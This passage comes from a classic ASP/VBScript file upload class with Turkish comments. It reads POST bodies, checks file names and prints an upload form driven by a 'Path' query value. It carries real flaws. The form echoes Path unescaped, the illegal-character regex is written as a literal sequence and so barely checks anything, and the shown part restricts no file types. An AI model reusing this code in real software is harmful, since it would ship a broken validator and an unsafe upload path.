sContType = UCase(Trim(Left(sContType, hCutOff - 1)))
Else
sContType = UCase(Trim(sContType))
End If
GetFormEncType = sContType
End Function
Public Default Sub ProcessUpload
Dim RequestBin, oProcess, iTotBytes, key, arr, iKnownProps, oFile
Dim fofilecheck, sEncType, sReqMeth
'Dosya Boyutu alynyyor
iTotBytes = Request.TotalBytes
If iTotBytes = 0 Then
iFrmCt = 0
exit sub
End If
'Request.BinaryRead ile yollanan dosyanyn binary kodlary okunuyor
RequestBin = Request.BinaryRead(iTotBytes)
sReqMeth = Request.ServerVariables("REQUEST_METHOD")
Select Case UCase(sReqMeth)
Case "POST"
sEncType = GetFormEncType
Select Case sEncType
Case "MULTIPART/FORM-DATA"
Set oProcess = New FO_Processor
oProcess.BuildUploadRequest RequestBin, UploadRequest
Set oProcess = Nothing
Case "APPLICATION/X-WWW-FORM-URLENCODED"
Set oProcess = New FO_Processor
oProcess.BuildUploadRequest_ASCII oProcess.getString(RequestBin), UploadRequest
Set oProcess = Nothing
End Select
End Select
arr = uploadrequest.keys
If Not isarray(arr) Then
iFrmCt = 0
Exit Sub
End If
iFrmCt = ubound(arr)
For Each key In arr
If isobject(uploadrequest.item(key)) Then
iKnownProps = ubound(uploadrequest.item(key).keys) + 1
If iKnownProps = 4 Then
iKnownFileCount = iKnownFileCount + 1
Set fofilecheck = new FO_FileChecker
'Dosya ismi, input de?eri gibi bilgiler formdan çekiliyor
fofilecheck.SetCurrentProperties oProps
fofilecheck.FileInput_NamePath = uploadrequest.item(key).item("FileName")
fofilecheck.FileInput_ContentType = uploadrequest.item(key).item("ContentType")
fofilecheck.FileInput_BinaryText = uploadrequest.item(key).item("Value")
fofilecheck.FileInput_FormInputName = uploadrequest.item(key).item("InputName")
Set oFile = fofilecheck.ValidateVerifyReturnFile()
Set fofilecheck = Nothing
oOutFiles.add iKnownFileCount, oFile
Set oFile = Nothing
uploadrequest.remove key
ElseIf iKnownProps = 2 Then
iKnownFormCount = iKnownFormCount + 1
Else
End If
End If
next
End Sub
Public Function File(ByVal blobName)
Dim blobs, blob, subdict, tmpName
blobs = oOutFiles.Keys
For Each blob In blobs
Set subdict = oOutFiles.Item(blob)
tmpName = subdict.frmInputName
If UCase(Trim(tmpName)) = UCase(Trim(blobName)) Then
blobName = blob
Exit For
End If
Next
If isobject(oOutFiles.Item(blobName)) Then
Set File = oOutFiles.Item(blobName)
Else
Set File = Nothing
End If
End Function
Public Function Form(ByVal inputName)
If isobject(UploadRequest.Item(inputName)) Then
Form = UploadRequest.Item(inputName).Item("Value")
Else
Form = ""
End If
End Function
Public Function FormLen(ByVal inputName)
If isobject(UploadRequest.Item(inputName)) Then
FormLen = Len(UploadRequest.Item(inputName).Item("Value"))
Else
FormLen = 0
End If
End Function
Public Function FormEx(ByVal inputName, ByVal vDefaultValue)
dim vTmp
If isobject(UploadRequest.Item(inputName)) Then
vTmp = UploadRequest.Item(inputName).Item("Value")
If len(trim(CStr(vTmp))) = 0 Then
FormEx = vDefaultValue
Exit Function
End If
FormEx = vTmp
Exit Function
End If
FormEx = vDefaultValue
End Function
Public Function Inputs()
If isobject(UploadRequest) Then
Inputs = UploadRequest.keys
Else
Inputs = ""
End If
End Function
Public Sub ShowUploadForm()
Dim tmp, item
With Response
.Write("Dosyanyn Yüklenece?i Yol: "&Path&"<FORM ENCTYPE=""multipart/form-data"" ACTION=""?islem=Upload&Path="&Path&""" METHOD=""POST"">" & vbCrLf)
.Write("Lütfen bir dosya seçin:<br><INPUT TYPE=""FILE"" NAME=""blob"" src=""xx"" class=""files"" style=""width: 200px;border:1px solid #CCC;margin: 5px 0 0 0;""><BR><BR>" & vbCrLf)
.Write("<INPUT NAME=""myName"" type=""Hidden"" >" & vbCrLf)
.Write("<INPUT TYPE=""SUBMIT"" VALUE=""Yükle"">" & vbCrLf)
.Write("</FORM>" & vbCrLf)
End With
End Sub
End Class
Class FO_FileChecker
Private oProps, sFileName, hFileBinLen, sFileBin, sFileContentType, sFileFormInputName
'Class ba?langyçynda çaly?tyrakacak kod
Private Sub Class_Initialize()
sFileName = ""
hFileBinLen = 0
sFileBin = ""
sFileContentType = ""
End Sub
Public Sub SetCurrentProperties(byref oPropertybag)
Set oProps = oPropertybag
End Sub
Public Property Let FileInput_FormInputName(ByVal fname)
sFileFormInputName = fname
End Property
Public Property Let FileInput_NamePath(ByVal fname)
Dim realfilename
realfilename = Right(fname, Len(fname) - InstrRev(fname,"\"))
sFileName = trim(realfilename)
End Property
Public Property Let FileInput_ContentType(ByVal conttype)
sFileContentType = conttype
End Property
Public Property Let FileInput_BinaryText(ByVal binstring)
Dim binlen
binlen = lenb(binstring)
hFileBinLen = binlen
sFileBin = binstring
End Property
Public Function ValidateVerifyReturnFile()
If IllegalCharsFound Then
Set ValidateVerifyReturnFile = FillFOFileObj(false, "", "", "dosya adynda geçersiz karakter bulunamaz", "", "", "", sFileFormInputName)
Exit Function
End If
If FileNameBadOrExists Then
Set ValidateVerifyReturnFile = FillFOFileObj(false, "", "", "bir dosya seçmediniz ya da seçti?iniz dosya yolu yanly?; bir di?er olasylyk seçti?iniz dosya zaten yüklü", "", "", "", sFileFormInputName)
Exit Function
End If
Set ValidateVerifyReturnFile = FillFOFileObj(false, "", "", "", sFileContentType, sFileName, sFileBin, sFileFormInputName)
End Function
Private Function FillFOFileObj(byval success, byval abspath, byval virpath, byval stderr, byval contenttype, byval fname, byval binarytext, byval forminputname)
Dim oFile
Set oFile = New FO_File
oFile.SetCurrentProperties oProps
oFile.bSuccess = success
oFile.sAbsPath = abspath
oFile.sVirPath = virpath
oFile.sStdErr = stderr
oFile.sCType = contenttype
oFile.sFileName = fname
oFile.binValue = binarytext
oFile.frmInputName = forminputname
Set FillFOFileObj = oFile
End Function
Public Function IllegalCharsFound()
Dim re
' Regexp ile karakterleri içeri?i kontrol ediliyor istemeyen karakter görülürse hata veriyor
Set re = new regexp
re.pattern = "\\\/\:\*\?\""\<\>\|"
re.global = true
re.ignorecase = true
If re.test(sFileName) Then